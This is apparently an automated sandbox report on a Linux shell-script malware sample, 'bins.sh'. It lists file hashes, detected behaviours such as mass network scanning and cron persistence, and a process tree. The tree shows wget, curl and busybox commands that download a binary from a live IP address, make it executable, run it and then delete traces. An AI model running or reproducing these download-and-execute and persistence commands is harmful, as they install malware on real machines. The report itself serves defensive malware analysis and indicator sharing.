Analysis
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max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 23:27
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
0608e8f1df47e2008cb35811c967d18e
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SHA1
d9c11296c385ae6dd53490fbb042c51fb00734c0
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SHA256
2835c76202590f8f399672f9075da9d4ecf4cad9ad13f1d864081841188cf7cc
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SHA512
8b65cb5e0aa378cfb150c7f17bf7833760d5844625d83f742c9e56330d9636c64545ca9a48f1ec8ae12a3106ab3103e64f29adcee26bfec9797a0dac31cf465c
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SSDEEP
192:WHHqLCEO+xjXjjjojfj/juUIguu65GW0/u65GW0uHHqLojXjjjojfj/j5Ok:WHHqLC5+xTX8TbaUIg/HHqLoTX8Tbwk
Malware Config
Signatures
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Contacts a large (2206) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 1506 chmod -
Executes dropped EXE 1 IoCs
Processes:
SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZxioc pid Process /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx 1507 SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx -
Renames itself 1 IoCs
Processes:
SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZxpid Process 1508 SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.TdXSJS crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZxdescription ioc Process File opened for reading /proc/177/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1664/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/85/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1494/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1495/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1739/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/14/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/672/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1186/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1196/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1661/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/15/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/208/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1527/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1573/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1579/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/11/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1638/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1690/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1716/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/494/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1170/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1572/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1751/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/569/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1073/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1627/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1770/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/29/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/89/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1568/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1578/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/130/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1571/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1602/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1718/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1576/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1673/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1731/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1744/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1523/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1641/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/24/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/79/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/182/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1726/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1747/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/21/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/472/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/959/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1643/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1678/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/92/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1079/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1501/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1684/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/352/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1181/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1530/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1644/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1659/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1688/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx File opened for reading /proc/1780/cmdline SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxdescription ioc Process File opened for modification /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx wget File opened for modification /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx curl File opened for modification /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1498
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/bin/rm/bin/rm bins.sh2⤵PID:1499
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/usr/bin/wgetwget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx2⤵
- Writes file to tmp directory
PID:1500
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/usr/bin/curlcurl -O http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx2⤵
- Writes file to tmp directory
PID:1504
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx2⤵
- Writes file to tmp directory
PID:1505
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/bin/chmodchmod 777 SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx2⤵
- File and Directory Permissions Modification
PID:1506
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/tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx./SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1507 -
/bin/shsh -c "crontab -l"3⤵PID:1509
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/usr/bin/crontabcrontab -l4⤵PID:1510
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/bin/shsh -c "crontab -"3⤵PID:1511
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1512
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/bin/rmrm SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx2⤵PID:1522
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/usr/bin/wgetwget http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD2⤵PID:1525
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
210B
MD50cec1c9fe2bbf07765235f9f4137a99e
SHA170c41d0945a230a25d800e6e48f36c8b70be422d
SHA2566519ecf27dfb4b1509ed9741d6975de3a97afdc2d916b804bce9829c4c18983f
SHA5120e88035b93fbef9b918627f60f7d7a108ca5618f7d38e7c5eff3796089848478534b23454b0372d0f863307147530df63e026b6dc1aa619c90ab83bb4f173712